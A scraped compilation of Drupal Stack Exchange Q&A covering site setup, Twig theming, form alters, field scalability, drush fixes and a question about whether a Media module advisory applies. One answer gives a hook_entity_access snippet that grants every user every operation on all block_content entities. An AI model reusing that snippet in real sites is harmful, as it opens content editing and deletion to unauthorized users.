Alias /drupal/ "/home/username/drupal7stack/apps/[drupal1-site-name]/htdocs/"
Alias /drupal "/home/username/drupal7stack/apps/[drupal1-site-name]/htdocs"
Include "/home/username/drupal7stack/apps/[drupal1-site-name]/conf/httpd-app.conf"

```

**Modify the `.httpd-app configuration` file at `/home/username/drupal7stack/apps/[drupal1-site-name]/conf/httpd-app.conf` to use the new path:**

3. **File Content {truncated}:**

Include "/home/username/drupal7stack/apps/\[drupal1-site-name\]/conf/banner.conf"

Include "/home/username/drupal7stack/apps/\[drupal1-site-name\]/conf/htaccess.conf"

**Modify the Apache `.htaccess` file at `/home/username/drupal7stack/apps/drupal1/conf/htaccess.conf` to use the new path:**

4. **File Content {truncated}**

RewriteBase /drupal1

**Change the name of default db to via phpmyadmin accessible at `http://127.0.0.1:8080/phpmyadmin/` (use root login). Also, create username/pwd of site specific drupal installation**

5. N/A phpmyadmin GUI

Adjust the settings.php file found at `/home/username/drupal7stack/apps/[drupal1-site-name]/htdocs/sites/default/settings.php` to the db specific user created in step five

6. `sudo gedit /home/username/drupal7stack/apps/[drupal1-site-name]/htdocs/sites/default/settings.php`

**restart the drupalstack (apache/mysql), then view new site at `http://127.0.0.1:8080/[drupal1-site-name]`**

7. For drupalstack use `~/drupal7stack$ ./manager-linux-x64.run` , then visit new website

# Answer
**This is not a direct answer to your question. If it wasn't long I'd post it as a comment.**

Since you mention configuring a server is not your forte, I'd like to recommend you and other Drupal developers at any level of expertise, an alternative development environment to manage multiple instances of Drupal, and other websites in a Vagrant virtual environment:

Laravel's Taylor Otwell also created Homestead:

> Laravel Homestead is an official, pre-packaged Vagrant box that provides you a wonderful development environment without requiring you to install PHP, a web server, and any other server software on your local machine. No more worrying about messing up your operating system! Vagrant boxes are completely disposable. If something goes wrong, you can destroy and re-create the box in minutes!
>
> Homestead runs on any Windows, Mac, or Linux system, and includes the Nginx web server, PHP 7.2, PHP 7.1, PHP 7.0, PHP 5.6, MySQL, PostgreSQL, Redis, Memcached, Node, and all of the other goodies you need to develop amazing Laravel applications.

It certainly targets the Laravel developers, but I've been using it for most of my local development needs, whether they are Laravel, or Drupal (6, 7 or 8), or any other PHP website.

It makes it much easier to manage any number of websites with different PHP versions, different database needs, and custom hostnames in a single configuration file, to your liking either YAML, or JSON file.

I should mention that I'm not affiliated in any way with Laravel or its creator. I just really like my experience with Homestead so far, and wanted to share.

Go ahead and read its documentation, and install it globally on your machine. Set up a couple websites and give it a try. My guess is you'll have your sites up and running before you can resolve the issues with current Bitnami instance you have.
> 0 votes

---
Tags: installation
---


# Question
Title: How do I add a class to a specific input type?
Using Drupal 8. I am trying to add `class="input"` to an `input` with `type="text"`; any other type (i.e `type="button"`) should not have that class added. I modified `input.html.twig` to the following:

```
<input{{ attributes.addClass('input') }}/>{{ children }}

```

The problem with this is that it adds the class to all input types. Is there a way to specify the input type in which the class should be added in Drupal 8?

# Answer
> 3 votes
Template files are available by default for each input type.

* Copy the input.html.twig file and rename it input--textfield.html.twig
* Put it in the folder of the theme
* Clear the cache and the new template will be used for all text-field form fields
* You can add `<input{{ attributes.addClass('input') }}/>{{ children }}` in that file

If you want a more customized input field, you implement `hook_theme_suggestions_HOOK()`.

```
function YOUR_THEME_NAME_theme_suggestions_input_alter(array &$suggestions, array $variables) {
  // To see available variables use kint().
  kint($variables);
  if ($variables['element']['#type'] == 'textfield' && $variables['element']['#name'] == field__--------- ) {
    $suggestions[] = 'input__customized';
  }
}

```

---
Tags: 8, theming
---


# Question
Title: Field with '#type' = 'hidden' in hook form alter doesn't show #id in the source and it's not possible to show it with jQuery
I put in my `template.php` an `hook_form_alter` function where I assign `'#type'= 'hidden'` to `"field_bergamo"`.

But I want to show it when in the select list "Provincia" of the same form I select the option "Bergamo".

I suppose to solve with `jQuery`, but in the inspector of the page I can't see the "`#edit-field-bergamo`" ID, only the name.

I tried `"jQuery ('input[name="field_bergamo"]').show()"`, it doesn't work.

If I don't assign `['#type'] = 'hidden'` to "field\_bergamo" in `hook_form_alter` I can see the `"#edit-field-bergamo"` in the inspector and the jQuery commands `.show() .hide()` work correctly.

Why if I assign `['#type'] = 'hidden'`, the field doesn't have an ID and doesn't react to my jQuery commands?

Any solution?

P.S. I can't use Conditional Field because the select list "provincia" is inside a field type "Postal address" and is not singularly accessible.

And I don't like to install a module if not strictly necessary!

# Answer
You've converted the element to a `hidden` input type.

Hidden inputs cannot be rendered, as the name suggests (they're *hidden* by their nature). So trying to use javascript to "show" them will never have any effect - there's nothing to show.

Add that to the fact that a changed hidden input element will invoke a validation failure for a tainted form, and it should be easy to see why the Drupal devs didn't bother to add an HTML ID to the element. Trying to access it with CSS/JS makes very little sense most of the time.

If you just meant to hide the original input, not convert it to a different input type, just use CSS to hide/show it as normal.
> 1 votes

# Answer
If I understand correctly, you want to show/hide certain form fields based on the value of another field. While this is not an exact answer to your question (Clive answered it already) and it was asked long ago, I would like to add the following.

If you're working with a node form, the easiest way to do that is usually the Conditional Fields module. It can be configured from the admin UI, so no programming is needed.

Under the hood, Conditional Fields uses the Form API States system (documentation | tutorial blog post) that is part of Drupal core. You can also add form states to a form in your custom hook\_form\_alter implementation achieve your goal.
> 0 votes

---
Tags: forms, javascript
---


title: Field revision_default must be updated

text:
# Question
Title: Field revision_default must be updated
After installing 8.4, updated step by step to 8.5.3, now I have in Status Report the following error: Field revision\_default must be updated at several entity types, Node, Media, etc. Checking the database, I have that field in the tables \*_field\_data and \*_field\_revision but not in the tables \*_revision, though apparently it should be there.

drush entity\_updates lists these error but does not fix them.

Searching several hours I did not find any solution. We have a lot of content and media so uninstall and install again is not an acceptable solution.

Any idea?

# Answer
> 0 votes
you have to update your database by using the drush commands :

```
drush updb -y

```

and

```
drush entities-update

```

If you dont have drush, you can use the /update.php page. Regards,

# Answer
> 0 votes
I think this error occurs because of a missing *(`revision_default`)* column in revision tables.

You can see in the above example the `node_revision` table is having `revision_default` column. Also you can see in block\_content\_revision, media\_revision etc.. I was able to fix those issues when the column was added manually using drush then run the db updates.

Based on the error you get, need to run a db query. Can do that either directly or using `drush sql-query` command. If issue is with the `block_content_revision` table.

Run the following commands,

* Run SQL query command (*Run this command only if you get error for `block_content_revision` table)*

```
drush sql-query "ALTER TABLE block_content_revision ADD COLUMN revision_default tinyint(5) AFTER revision_log"

```
* Then run `drush updb`
* Then `drush entup`

---
Tags: 8
---


# Question
Title: How to prevent the form from redirection after submission in order to see the kpr() results?
I installed Basic Cart module and I needed to completely modify its submission handler. So I used the following code:

```
function THEME_form_alter(&$form, &$form_state, $form_id){
    if($form_id == 'order_node_form'){
        $form['#submit'] = array("my_form_order_submit_handler");
    }
}

```

and It works perfectly. The `order_node_form` form has some values in its inputs and I need to get them. I don't know how to get the values from the `$form` variable so I need to `kpr` this variable. This is the `my_form_order_submit_handler` function:

```
function my_form_order_submit_handler($form, &$form_state) {
    kpr(1);
}

```

The problem is it doesn't `kpr` the `1` and is redirected to some where else. In the question kpr() in my form validation and submit function is not being called it has been suggested to add the following codes in form alter function and tried this code:

```
function THEME_form_alter(&$form, &$form_state, $form_id){
    if($form_id == 'order_node_form'){
        $form['#submit'] = array("my_form_order_submit_handler");
        $form_state['rebuild'] = TRUE;
        $form_state['no_redirect'] = TRUE;
        $form_state['redirect'] = FALSE;
    }
}

```

But it is still redirected and I can't see the `kpr(1)` result in the submission function. How can I prevent the page being redirected to some where else after the `my_form_order_submit_handler` function?

Thanks

# Answer
You can call `die()` after `kpr()`.
> 1 votes

---
Tags: forms
---


# Question
Title: How to attach a library to a page controller that returns a plain Symfony response?
I created a custom module with a page controller that returns a Symfony response (Symfony\Component\HttpFoundation\Response). The thing is I don't want to render my custom theme in this controller, just the theme\_base template in this module.

```
$build = array(
  'page' => array(
    '#theme' => 'theme_base',
    '#content' => $content,
    '#owner' => $owner,
    '#cache' => [
      'max-age' => 0,
    ],
    '#attached' => array(
      'library' => array(
        'my_module/library_name',
      ),
    ),
  ),
);

$html = \Drupal::service('renderer')->renderRoot($build);
$response = new Response();
$response->setContent($html);

return $response;

```

I tried attaching the module library to $build, or including it directly in Twig template but this doesn't seem to work.

Any ideas why this is not working? Or is there maybe another way I could do this?

Thanks!

# Answer
After rendering of `$build` the attachments have bubbled up to `$build['#attached']` and you can add them to a response, which implements `AttachmentsInterface`, for example an HtmlResponse:

```
$html = \Drupal::service('renderer')->renderRoot($build);
$response = new HtmlResponse();
$response->setContent($html);
$response->setAttachments($build['#attached']);
return $response;

```

To place the libraries on the page you have to enclose the page in an `html` render element

```
$build = [
  '#type' => 'html',
  'page' => [
     // content with attached libraries
  ],
];

```

or implement the placeholders where the attachment will end up in a custom template, see template\_preprocess\_html().
> 2 votes

---
Tags: 8, page-controller
---


# Question
Title: What's a good balance between reusing fields versus creating new ones in the context of fields scalability?
I've read the following phrase on a website:

> Instead of adding new fields to a content type, adding existing fields is a better option to reduce the system’s complexity and to improve scalability.

And some doubts arise.

In the system we are developing, we have the possibility to reuse a field across 3 or 4 content types but instead of improving scalability as the quoted phrase says, I'm afraid it will diminish it, because the field's table would faster become a bottleneck (at least that's my reasoning in this case, as all values of that field together, would be a couple millions per year and that would make the table too big). Do you agree?

How many rows would be a sensible maximum to aim for when architecting? That way we could decide when to reuse fields and when to create new ones (even though the chance to reuse is there).

# Answer
The amount of data in a field usually isn't a problem. If you're worried about that, look into alternative field storage plugins or write your own. For example MongoDB, which can deal with pretty much anything you put into it. It is for example used on http://examiner.com.

A *real* problem however is the number of fields you have. Because currently in Drupal 7, the complete field configuration of *all* fields, no matter if they're loaded or not, is fetched from the cache on every single request.

I've seen sites with 250+ fields, where loading and unserializing the field configuration takes 13MB+ memory.

Edit: The field info cache has been improved (see http://drupal.org/node/1040790 for details) with Drupal 7.22, only the fields of bundles that are displayed on a certain page are loaded from the cache and they're separate cache entries. That only works if there are no wrong API calls that request instances across multiple bundles.
> 25 votes

# Answer
I totaly agree with berdir. Here are my experiences with a project with millions of rows and 30-40 fields on some node types.

1. The number of rows in a field table isn't a big problem for the read performance, as all fields are fetched by primary key.
2. The number of fields per node type can quickly grow into big performance problems when writing new nodes. Having 30+ fields for one node type results into *60+ INSERT statements* when you create a new node. This takes seconds to complete. If you're users creating a lot of data this will hit your performance. Bulk inserts of 1000 nodes will take almost an hour. If you have to update 100'000 nodes, this is a big problem.
3. If you think the number of fields problem is going to hit you, you should seriously think about writing your own field storage or just don't use fields. (You can still make your node working with views with some extra effort.)
4. A word about MongoDB. It's a very interesting project and I hope it's making it into the olymp of the big DBs. Unfortunately compared to the maturity of MySql or PgSql it's a baby. Be prepared to deal with a very young product.
> 13 votes

# Answer
If you are really worried about what will happen, then I think a simulation is in order.

Get an account at Rackspace Cloud, Amazon, Linode, or anywhere else you can easily spin up a VPS. Make two identical instances. Install Drupal on each. Create some dummy content types, and set up the fields one way in one system, and other other way in the other. Use the devel module to create a boatload of content. Adjust performance settings to make sure Drupal is caching as needed. Run mysqltuner and adjust MySQL on each per recomendations. Double check PHP and APC settings so that you aren't hitting swap and that you aren't churning the APC cache.

Once you get a good baseline configuration for each, start simulating traffic (both normal visitors and admin updates) with wget and drush, and then profile.

Simulations are never perfect, but they can get you going in the right direction.
> 6 votes

# Answer
another tip: having a lots of fields will cause problems with many different modules as well. The Token GUI for instance will make your browser lag for minutes if you try to edit url aliases for example. This behavior can be seen on all the pages where token will be loaded and displayed (including devel - dpm() etc.)

There is no performance benefit in splitting this data across multiple tables when using InnoDB (MyISAM is different because of table locking). So - if you know you will have a lot of similar content types with similar fields (which configurations will be also the same, maybe differ in labeling only) reuse your fields!

It might also ease up template creation because of similar node attributes.
> 3 votes

# Answer
Just sharing my story, we are using Drupal Commerce and have about 40 fields in our product variations (Sku) and then another 460 (yes, crazy) in our Product Display. We had some product comparison views that would look at all of these fields. Without caching, some page loads could take up to a minute!

However, it did work. If you did use caching and Varnish, the user wait time wasn't that bad.

The main problem that we ran into with so many fields is with Display Suite, as that would become very slow (sometime non-responsive) if we tried to re-arrange or move a field around.

Luckily, we decided to re-factor our products a little bit so we can hopefully get our max number of fields down into the 200-250 range for our most complex products (we are in scientific instrumentation, so complex measurements and specs are needed).
> 2 votes

# Answer
One issue with scalability in fields in the use of indexes on every single table field in each field in the table created. The primary key clustered index is a composite of most of the fields, then it created separate indexes on each field individual. The indexes create a ton of overhead writes for the database, and in most cases are never used.
> 2 votes

# Answer
It's an interesting question. I've thought about this before, sometimes re-using a field can be convenient to not have loads of similar fields 'lying around' but it does seem silly to have a certain content type having to select from a big load of data that we know isn't meant to be returned in the result.

I'd need a bit more info on the project to advise on best practice for scaling. What is the expected traffic, how many of those users to be logged in etc? For instance if all traffic except that of your admin user(s) is unauthenticated and anonymously cached
> 0 votes

# Answer
I've so far always been re-using fields but am now considering to use unique fields per node type for a new project. I actually want to keep everything nicely separeted (fields, views, rules, contexts, etc) for each entity bundle. So it raised the question of scalability which led me here. I'm comforted by Berdir's edit ( The field info cache has been improved (see http://drupal.org/node/1040790 for details) with Drupal 7.22, only the fields of bundles that are displayed on a certain page are loaded from the cache and they're separate cache entries. That only works if there are no wrong API calls that request instances across multiple bundles).

I just want to point out that there's a very interesting module that I've been using for months on multiple, complex sites.: https://www.drupal.org/project/render\_cache. It's one of those hidden gems in my opinion.

As it says on the project page, the comments part is actually being used on D. O. itself.

So, with all that in mind, would it turn the consensus in favor of separate fields? The caveat being mentioned about DS is still a bummer, though. It's super annoying the way it saves via ajax instead of, for instance, how the core block administration interface handles re-ordering. I feel it's a ds issue, though...
> 0 votes

# Answer
As per my suggestion Using same fields in separate content type is good idea. Because it will improve your site performance. In Drupal 7, When you are using select operation that time, Using same fields in content type is really Useful to your Drupal7 site.
> -4 votes

---
Tags: entities, performance
---


title: Twig Filters and Text Format Filters

text:
# Question
Title: Twig Filters and Text Format Filters
I've implemented a custom Twig filter that wraps certain character sequences with a span. The span element didn't show up in the front end until I allowed it in the text format for the field in question (via `Limit allowed HTML tags...`), so it seems that Twig filters are applied before text format filters. For my current use case, it seems like it would make more sense to run Twig filters *after* text format filters. Assuming I'm understanding this correctly, is there a reason this is the intended behavior? And if so, is there a way to change when Twig filters are applied to a field/format?

# Answer
I ended up solving this by running the field through the `render` filter first, then my custom filter. The text format filters are applied at the render stage, so now the custom filter runs after them. The finished order is:

```
{{ field | render | custom_filter }}

```
> 1 votes

---
Tags: 8, theming
---


title: Why are titles required for book pages?

text:
# Question
Title: Why are titles required for book pages?
After I enabled the Book module, Drupal suggested to add a new book page and give it a title.

On my site, I'd give a title to a book only to chapters; for regular pages, I just use a title like *Page 1*, *Page 2*, or *Page 20*.

Why are titles required for book pages?

# Answer
On Drupal, the node title is always required. On books, the title is even more important, since it is used for the links to the other pages of the book, shown after the page content.

>

I took the screenshot on Drupal 7, but the same is true for Drupal 8.

The only way to avoid entering a title would be having a module that automatically adds a title to nodes, like the Automatic Nodetitles module, or the Automatic Entity Label (which has a version for Drupal 7 and Drupal 8).

> Automatic Nodetitles is a small and efficient module that allows hiding of the content title field in the form. To prevent empty content title fields one can configure it to generate the title by a given pattern.

> "Automatic Entity Label" is a small and efficient module that allows hiding of entity label fields. To prevent empty labels it can be configured to generate the label automatically by a given pattern.
> 3 votes

---
Tags: nodes
---


# Question
Title: How can I have "Table view" as the default result instead of "Submissions“
When viewing the results page of a webform node, the submissions views is the default one.

We then have the possibility to display data using these secondary links:
Submissions, Analysis, Table, Download, and Clear.

I'm looking for a way to thange the order of these links.
I would like the table view to be the one displayed by default, instead of the submissions view.

The first part of the screenshot shows how the module works; the other half shows the order I would like for the tabs.

>

# Answer
> 0 votes
You may need to do this in a custom module. In your custom module, implement hook\_menu\_alter:

```
/**
 * Implements hook_menu_alter.
 */
function MYMODULE_menu_alter(&$items) {
   // Node webform results.
  $items['node/%webform_menu/webform-results'] = array(
    'title' => 'Results',
     // the page callback here is what will display the table.
    'page callback' => 'webform_results_table',
    'page arguments' => array(1, '50'),
    'access callback' => 'webform_results_access',
    'access arguments' => array(1),
    'file' => 'includes/webform.report.inc',
    // Change the weight to change the order
    'weight' => 0,
    'type' => MENU_LOCAL_TASK,

  );
}

```

Once you added that to your custom module. Make sure the module is enabled, and clear all caches.

---
Tags: 7, webforms
---


title: Is it required to run update.php?

text:
# Question
Title: Is it required to run update.php?
I have updated the require Drupal core files and folders, but I didn't run update.php.

Is it required to run update.php? If not, which types of issues I will face in future?

# Answer
Running update.php is only required if there are new implementations of `hook_update_N()` done from a module, which the hook used when:

* The schema for a database table is changed
* A database table is created, deleted, or renamed
* The content of a database table is altered
* A persistent variable is added, removed, changed, or renamed

If the release notes for the version you installed say it is necessary to run update.php, or you check the content of every .install file and notice there are new implementations of `hook_update_N()`, then you need to run update.php.
If you don't do it, modules will start not to work, and you could get database error messages (for example, about a database table not existing, or a table field not being present).

If the release notes for the release you installed say it is not necessary to run update.php, or you check the content of every .install file and notice there aren't new implementations of `hook_update_N()`, then you don't need to run update.php.
If you don't run update.php, there isn't any issue, for this update, but it's not said you can continue avoiding to run update.php for future updates. For each update, you would need to check what the release notes say about or the code in .install files.

What I said holds true also for third-party modules, not just for Drupal core.

If you want to avoid reading the release notes for every installed modules, which could also not report if running update.php is necessary or not, or check the code in .install files, which would also require you to notice if there are new `hook_update_N()` implementations, you just run update.php after updating core or any third-party module.

I normally run update.php every time I update core or modules. If there are update hooks that need to run, they will run. If there isn't any update hook that needs to run, update.php will end faster and show me a page with a link to the front page and the administrative pages.
> 5 votes

# Answer
Yes it is required and highly recommended to run update.php after certain operations like updating drupal core, updating a module, uninstalling a module, updating or installing a theme...

If you don't, the code will sometimes expect a different database structure than the one available after you updated drupal/modules/themes and that systematically leads to errors and broken things.

If you're only using contributed modules/themes you shouldn't have any problem. If you have custom modules, settings etc.. you may run into some complications.
In any case, you should always backup everything (on a regular basis) and create one or several copies of your current website and run some tests before updating the live website.
> 0 votes

---
Tags: 7
---


# Question
Title: Entity reference item list with preview images?
In a node type 'album' I have an entity reference field 'photo' that can be used to reference nodes of the type 'single\_photo'. This works fine – using the module Entityreference view widget lets the editor choose nodes from a lst view with a preview image and optional additional fields:

The actual list of referenced nodes however does only show the node title:

I now would like to have a similar preview in the actual item list – or maybe even also use other fields of the referenced nodes. Is there a similar module or a combination of views and code or the like, that would provide such a functionality? Any pointers, suggestions, links would be appreciated.

# Answer
The Entity Browser module almost does exactly this (for Drupal 8). The module allows you to create a view display (it adds a new Entity Browser display type) to select items and it also allows you to, via a configuration on the referencing entity's Form Display screen, display a referenced entity's view mode on the edit screen.
> 1 votes

---
Tags: entities
---


# Question
Title: Drupal console "settings:set" not working or I am doing it wrong
I wanted to use Drupal console to change some settings on a site:

* To set the default 403 page to "/user/login"
* To set user registration permission to "admin only"

Following the instructions here, which gives this example:

```
drupal settings:set  application.language es

```

I tried the following:

```
drupal settings:set user.settings.register admin_only
drupal settings:set user.settings register:admin_only
drupal settings:set user.settings.register "admin_only"

```

In all cases, I got a green bar saying that the setting had been successfully set. But looking at the site showed that it had not. Also doing `drupal config:edit user.settings` showed that it had not (but when I changed it in the editor, it did update successfully in real life).

The exact same thing happened with:

```
drupal settings:set system.site.page.403 /user/login

```

Am I doing something wrong, or is this an unimplemented part of drupal console?

# Answer
> 2 votes
The "drupal settings:set" command updates the Drupal console's own settings rather than the configuration of the running Drupal site.

If you want a one-liner to update configuration, then you can use Drush for this job, eg:

```
drush cset user.settings register admin_only -y

```

---
Tags: 8, console
---


title: Access to block edit icon

text:
# Question
Title: Access to block edit icon
I am trying to create a solution programmatically where I can give access to edit a particular block to a user.

I know using `hook_entity_access()` I can grant permission to the user to access the block, But the block doesn't show the "edit" icon which I need to help the user to navigate to the edit page.

# Answer
I found the solution for it.

to reach to the edit button `hook_entity_access()` is the correct Hook but to provide access to that block content, we first need access to class

```
Drupal\Core\Access\AccessResult

```

then to provide access we need to return

```
AccessResult::allowed()

```

A complete example where we might want to give access to a block\_content would look like this.

```
Use Drupal\Core\Entity\EntityInterface;
Use Drupal\Core\Session\AccountInterface;
Use Drupal\Core\Access\AccessResult;

function block_user_access_entity_access(EntityInterface $entity, $operation, AccountInterface $account) {

  if($entity->getEntityTypeId() == 'block_content'){
    return AccessResult::allowed();
  }
}

```
> 0 votes

---
Tags: 8, blocks
---


# Question
Title: Is media-7.x-1.x vulnerable to SA-CONTRIB-2018-020
The Drupal Media module version 7.x-2.x contains a remote code execution vulnerability which was patched with:

https://cgit.drupalcode.org/media/commit/?id=1cd77ffa9c2cf96d80b76d47318179a8a82f0d46

1.x and 2.x seem to be very different beasts, I can't find any corresponding code to media\_ajax\_upload() in 1.x but I'm still rather unsure wether this version is vulnerable or not.

# Answer
> 0 votes
According to Joseph Olstad 1.x is not vulnerable to the problem found in the 2.x branch. Source: https://www.drupal.org/project/media/issues/2966112#comment-12592407

There is a previously unreleased fix for another security issue though. This was integrated in version 1.7 of this module.

---
Tags: 7, media, security
---


# Question
Title: How do I get $entity in hook_form_alter()?
`hook_add_form()` gets `$entity_type` and `$entity` as parameters, but `hook_form_alter()` does not have any of those parameters.

How do I get the entity type and the entity object in `hook_form_alter()`in Drupal 7?

# Answer
> 8 votes
I think that it should be possible to do something like this.

```
if ($form_state->getFormObject() instanceof \Drupal\Core\Entity\EntityFormInterface) {
  $entity = $form_state->getFormObject()->getEntity();
  $entity_type = $entity->bundle();
}

```

UPDATE: In Drupal 7 it should be done like this:

```
$node = $form['#entity_type']; // E.g this could be, (#node, #user etc.)

```

Take a look at this site, drupal discussion.

# Answer
> 1 votes
Entity types each implemented their own form in D7, there wasn't a generic one. You're at the mercy of what the author of each bit of code decided at the time.

For example you can find consistency with *some* of the core entity types:

* node -\> `$form['#node']`
* user -\> `$form['#user']`
* comment -\> `$form['#comment']`

But not all the way through:

* taxonomy\_term -\> `$form['#term']`

You might find it easier to target the specific types of entity you're interested in, determine what the correct array key is for each, and store them in a map somewhere for later access.

---
Tags: 7, entities, hooks
---


# Question
Title: How do I programmatically add a new language?
I am using Drupal 8 on a multi-lingual site which uses Arabic and French.

I need to programmatically add a new language from a custom module. How can I do it?

# Answer
> 4 votes
You can use below way:

```
 \Drupal::service('module_installer')->install(['language']);
  $langcode = 'ca'; // get language from Your Form Input
    //print_r($langcode);
  $language = ConfigurableLanguage::createFromLangcode($langcode);
  $language->save();

```

---
Tags: i18n-l10n
---


# Question
Title: How do I get the product ID when I submit the form?
How do I get the product ID when I submit the form?

I have http://localhost/drupalcart/product/7?v=7 as URL. I need to get that 7 when I click on *Add to cart*.

(The form doesn't come from a third-party, but it's something I made.)

# Answer
Hi guys finally i got the solution to it, all that I need it was the following:

```
$product_id = \Drupal::routeMatch()->getParameter('commerce_product')->id();

```

then I got the product id of the product i am checking it
> 0 votes

---
Tags: forms, commerce
---


# Question
Title: How to create a list of vocabulary names for a widget?
I would like to create a customizable filter widget that can be used to filter a view on a page. One type of filter uses taxonomy terms. While I can easily create a list of terms, I find I cannot create a list of vocabulary NAMES to choose from for the filter.

Ultimately, I'd like to iterate through the terms of the chosen vocabulary name and display that list of terms. So, in summary, create a widget that users can choose from a list of vocabulary names. Once that is selected, display the list of terms of that vocabulary name on the page. Is this possible?

I've tried so many different ways using views, entity references, etc but cannot get a list of vocabulary names in a field.

# Answer
Since this wasn't directly accessible via twig, I went the route of creating a view of the taxonomy terms. This worked well to create an entity reference widget which was then used to define a field in a content type.
> 0 votes

# Answer
As the vocabulary is an entity, you can find his name id (taxonomy\_vocabulary) in `Drupal\taxonomy\Entity\Vocabulary`.

To load all the available vocabularies you can use the following code:

```
$vocabularies = \Drupal::entityTypeManager()->getStorage('taxonomy_vocabulary')->loadMultiple();

```

To create the dependent taxonomy terms select I recommend you to take a look at the ajax examples in the Examples for Developers module.
> 2 votes

---
Tags: views, 8, taxonomy-terms
---


# Question
Title: How and where should I override the character length of the description field for an exposed filter
I've got an exposed filter with labels and descriptions in my Views. My design requires that the descriptions be displayed as tooltips on hover. In addition, I want this to be the general rule for all my exposed filters in all my views, so the fields that are exposed to visitors is different in each view (probably 10-12 different views with exposed filters). I've got all that working. However, I've run in to a problem with the character limit of the description field for the exposed filter and thus far, I've not been able to find a way around it. So my question is ***how and where should I override the character length of the description field for an exposed filter in my View?***

I've found to possible places where this character limit is set. However, because it's in the core of the Views module I don't want to just change a setting only to have it overwritten the next time Views is updated.

Here are the two places I've found:

```
/Applications/MAMP/htdocs/d7_chp/sites/all/modules/views/includes/admin.inc:
  313    $form['name'] = array(
  314      '#type' => 'machine_name',
  315:     '#maxlength' => 128,
  316      '#machine_name' => array(
  317        'exists' => 'views_get_view',

```

and

```
/Applications/MAMP/htdocs/d7_chp/sites/all/modules/views/plugins/export_ui/views_ui.class.php:
  431      '#type' => 'machine_name',
  432      '#required' => TRUE,
  433:     '#maxlength' => 128,
  434      '#size' => 128,
  435      '#machine_name' => array(

```

I've looked at a variety of other options as well as adding additional fields to the content type but these are not options. Other than the fact that adding additional fields would be sloppy, the description field in the exposed filter perfectly fits what we need here and we were able to repurpose the tooltip styling and formatting we've created for other content in this piece so we believe that this is the best solution for our scenario and would prefer not to have to rebuild all the tooltip stuff we've already created for this instance.

# Answer
> 0 votes
After discussing it with Kevin in the comments above, I settled on a custom module to solve our problem. It's very simple and small module that includes the following:

```
function views_description_strlen_form_alter(&$form, &$form_state, $form_id) {

if ($form_id == 'views_ui_config_item_form') {
    $form['options']['expose']['description']['#maxlength'] = 1000;
    }
}

```

---
Tags: 7, views
---


# Question
Title: What is the proper condition to check for a select list value of none?
I have a rule in drupal that populates an entity reference in a parent node with a child node.

Then I created a new rule that is applied "before content is saved" that will remove the child node from the old parent node if one wants to move it to a different parent node.

And it works as expected UNLESS one chooses -none- in the select list. How do I make it remove the child reference when none is selected. I tried Data value is empty and that doesn't work.

Here is an export of my current rule:

```
{ "rules_remove_job_from_client" : {
"LABEL" : "Remove Job From Client",
"PLUGIN" : "reaction rule",
"OWNER" : "rules",
"REQUIRES" : [ "rules" ],
"ON" : { "node_presave--job" : { "bundle" : "job" } },
"IF" : [
  { "NOT data_is" : {
      "data" : [ "node-unchanged:field-client" ],
      "value" : [ "node:field-client" ]
    }
  },
  { "node_is_of_type" : {
      "node" : [ "node:field-client" ],
      "type" : { "value" : { "clients" : "clients" } }
    }
  }
],
"DO" : [
  { "list_remove" : {
      "list" : [ "node-unchanged:field-client:field-all-jobs" ],
      "item" : [ "node-unchanged" ]
    }
  },
  { "drupal_message" : { "message" : "Is this firing" } }
]
}
}

```

# Answer
Make sure to add a Rules condition `Entity has field` (related to your field `field-client` as shown in your first Rules Condition). For a video tutorial that illustrates the importance of this `Entity has field` condition, refer to Data types and data selection, especially what is shown between about 13:30 and 17:30 in it.

If that doesn't help, you may want to do some Rules debugging, as explained in the answer to "How can I display the value of a variable inside a condition?".
> 1 votes

# Answer
I split it into 2 rules, they may be able to be combined but I haven't tested it yet.

The first rule is as above and takes care of switching the job from one client to another. The second rule has a condition that checks if the unsaved field-client had a reference to a job and if the new saved field is now empty.

If this is true then it will remove the old job from the client job reference list.

Here is the export:

```
{ "rules_remove_job_from_client_if_empty" : {
"LABEL" : "Remove Job From Client If Empty",
"PLUGIN" : "reaction rule",
"OWNER" : "rules",
"REQUIRES" : [ "rules" ],
"ON" : { "node_presave--job" : { "bundle" : "job" } },
"IF" : [
  { "entity_has_field" : {
      "entity" : [ "node-unchanged:field-client" ],
      "field" : "field_all_jobs"
    }
  },
  { "data_is_empty" : { "data" : [ "node:field-client" ] } }
],
"DO" : [
  { "drupal_message" : { "message" : "Data Value is empty!" } },
  { "list_remove" : {
      "list" : [ "node-unchanged:field-client:field-all-jobs" ],
      "item" : [ "node-unchanged" ]
    }
  }
]
}
}

```
> 1 votes

---
Tags: 7, rules
---


# Question
Title: How do I render the view of an entity reference?
I have a custom view which has a field that references another view. How do render the referenced view. I can't see the Render View option.

Below is an attached image for clarity. The top screenshot shows my current setup, while the bottom image shows my expected result.

Also both screenshots are taken from different sites and running the same version of Drupal 8.5.3

# Answer
> 3 votes
Views are config entities, and as such not rendered like content entities. When you reference a config entity, all you get out of the box are two formatters that can render data which all config entities will definitely have: An ID, and a label.

You need a formatter that knows how to render a View display rather than the View entity itself. Core doesn't come with one unfortunately.

You could write your own easily enough, but as already mentioned in the comments there's the Views Reference Field module which will provide the functionality.

---
Tags: 8, entities
---


# Question
Title: How to get the media title and url to the media entity
I have a media file field `field_file` where the data is saved like:

```
title: Media Entity 01
file: media_entity_01.pdf

```

Using twig, is it possible to output the title of the file and the path?

When rendering the full entity using the 'Render Entity' display mode, I can only get the display to output something like this:

```
<a href="/media_entity_01.pdf">media_entity_01.pdf</a>
using twig like this:
{{ content.field_file }}

```

when i want it to output like this:

```
<a href="/media_entity_01.pdf">Media Entity 01</a>
using something like this:
<a href="{{content.field_file.entity.uri.value}}">{{content.field_file.GET_THE_TITLE}}</a>

```

Is this possible?

Cheers

# Answer
Got it figured out. Steps:

In `Structure > Media Types > File > Manage Display`, set the format as `Generic File`, click the gear icon, and turn on `Use description as link text`.

Next, inside of `Structure > Media Types > File > Manage Fields`, edit the `field_media_file` field and **make sure the checkbox for** `Enable description field` **is checked**. Now, when creating a media file entity, there is a description field that can be filled and will display as the link text.
> 4 votes

---
Tags: 8, theming
---


# Question
Title: $ is not a function but jQuery is loaded when adding JavaScript to a custom theme
I must have something set up incorrectly in my custom theme. jQuery is loading and works fine elsewhere on the same page in a views slideshow using jquery.cycle. My custom JavaScript however reports that `$` is not a function.

The info.yml file includes the global-scripts property.

The libraries.yml file contains the following code.

```
  js:
    js/script.js: {}
  dependencies:
    - core/jquery

```

The content of js/script.js is the following.

```
$(document).ready(function () {
    $(window).on('load scroll', function () {
        var scrolled = $(this).scrollTop();
